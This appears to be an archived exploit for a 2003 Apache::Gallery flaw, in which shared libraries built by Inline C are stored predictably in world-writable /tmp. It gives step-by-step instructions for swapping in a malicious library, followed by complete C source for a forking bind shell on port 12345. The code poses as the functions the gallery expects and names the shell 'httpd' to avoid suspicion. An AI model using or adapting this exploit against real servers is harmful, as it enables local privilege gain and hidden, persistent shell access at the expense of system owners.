1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154 | // source: https://www.securityfocus.com/bid/8561/info
It has been discovered that Apache::Gallery, when using Inline C, stores shared libraries in an insecure fashion. As a result, an attacker may be capable of having malicious code linked into the Apache process. This could lead to a malicious local user gaining the privileges of the user invoking the Apache process, typically user nobody. It should be noted that for a successful exploitation, the libraries must be replaced prior to the Apache process being invoked.
/**
* Gallery_4033.c . Local webserver compromise.
*
* Written by:
*
* Jon Hart <warchild@spoofed.org>
*
* Apache::Gallery improperly uses Inline::C and creates
* runtime shared libraries in a predictable, world-writable
* directory, namely /tmp. This is because of the call to
* File::Spec->tmpdir() almost always returns /tmp.
*
* In my setup, the shared libraries are _always_ in:
*
* /tmp/lib/auto/Apache/Gallery_4033
*
* First, get the .inl and .bs files from the above directory (or
* whatever directory). You'll need them later.
*
* Next, somehow get that directory cleared. This is usually done
* at reboot on many UNIX operating systems, so unless you are feeling
* overly creative, you'll have to wait 'til then.
*
* Create the appropriate directory:
*
* mkdir -p /tmp/lib/auto/Apache/Gallery_4033
*
* Compile this as a shared library:
*
* `gcc -shared -fPIC -o /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so Gallery_4033.c`
*
* Strip it:
* `strip /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so`
*
* And copy in the .inl and .bs files you stole earlier.
*
* And wait for someone to view the gallery. Or do it yourself.
* You'll now have a nice shell listening on port 12345. Should compile
* and run on linux, *bsd and Solaris.
*
* $ nc localhost 12345
* id;
* uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
*
*
* Copyright (c) 2003, Jon Hart
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* * Neither the name of the organization nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
/** these are the only two functions that
* A::G is expecting, so make it happy and provide
* them. Receiving and returning void (instead of actually
* following the function specs) seems to be more practical
* because views to the gallery will just hang instead of flop,
* thereby not raising as much suspicion.
*/
void resizepicture(void) {
bindshell();
exit(EXIT_SUCCESS);
}
void boot_Apache__Gallery_4033(void) {
bindshell();
exit(EXIT_SUCCESS);
}
/* Bind /bin/sh to PORT. It forks
* and all that good stuff, so it won't
* easily go away.
*/
int bindshell() {
int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
exit(EXIT_FAILURE);
bzero((char *) &server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(PORT);
if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0)
exit(EXIT_FAILURE);
if (fork() != 0)
exit(EXIT_SUCCESS);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(EXIT_SUCCESS);
if ((sock_recv = listen(sock_des, 5)) != 0)
exit(EXIT_SUCCESS);
while (1) {
sock_len = sizeof(client_addr);
if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0)
exit(EXIT_SUCCESS);
client_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(sock_client,0);
dup2(sock_client,1);
dup2(sock_client,2);
/* Start the shell, but call
* it 'httpd'. Actually, this seems to get
* overwritten with the name of the parent process
* anyway. w00t.
*/
execl("/bin/sh","httpd",(char *)0);
close(sock_client);
exit(EXIT_SUCCESS);
}
close(sock_client);
}
}
|
